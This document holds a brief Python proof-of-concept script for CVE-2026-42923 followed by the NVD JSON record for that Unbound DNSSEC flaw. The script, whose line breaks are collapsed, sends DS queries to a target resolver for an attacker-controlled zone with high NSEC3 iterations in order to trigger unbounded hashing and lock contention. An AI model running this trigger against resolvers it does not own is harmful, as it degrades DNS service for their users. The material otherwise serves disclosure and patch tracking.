CVE-2026-42923

import dns.query import dns.message # Proof of Concept for CVE-2026-42923 # This script sends a DNS query for a DS record to a target Unbound server. # To exploit this, the attacker must control a zone with high NSEC3 iterations. # The target Unbound version must be <= 1.25.0. def send_malicious_query(target_ip, domain): # Construct a DNS query for DS records (Delegation Signer) # This triggers the vulnerable negative cache lookup path qname = domain qtype = 'DS' query = dns.message.make_query(qname, qtype) try: response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip} for {domain}") print(f"Response: {response}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the target Unbound server IP TARGET = "127.0.0.1" # Replace with a domain under attacker's control configured with high NSEC3 iterations MALICIOUS_DOMAIN = "example.attacker-domain.com" print("[+] Sending crafted DNS query to trigger NSEC3 hash limit bypass...") send_malicious_query(TARGET, MALICIOUS_DOMAIN)

{"cve": {"id": "CVE-2026-42923", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:27.630", "lastModified": "2026-05-20T22:50:35.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the DNSSEC validator where the code path to consult the negative cache for DS records does not take into account the limit on NSEC3 hash calculations introduced in 1.19.1. This leads to degradation of service during the attack. An adversary that controls a DNSSEC signed zone can exploit this by signing NSEC3 records with acceptably high iterations for child delegations and querying a vulnerable Unbound. Unbound will keep performing the allowed hash calculations on the NSEC3 records and will not limit the work by the mitigation introduced in 1.19.1. As a side effect, a global lock for the negative cache will be held for the duration of the hashing, blocking other threads that need to consult the negative cache. Coordinated attacks could raise the vulnerability to denial of service. Unbound 1.25.1 contains a patch with a fix to bound the vulnerable code path with the existing limit for NSEC3 hash calculations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nlnetlabs:unbound:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.19.1", "versionEndExcluding": "1.25.1", "matchCriteriaId": "5C330C7D-8CBA-407E-9C85-8BB7D5A97797"}]}]}], "references": [{"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42923.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}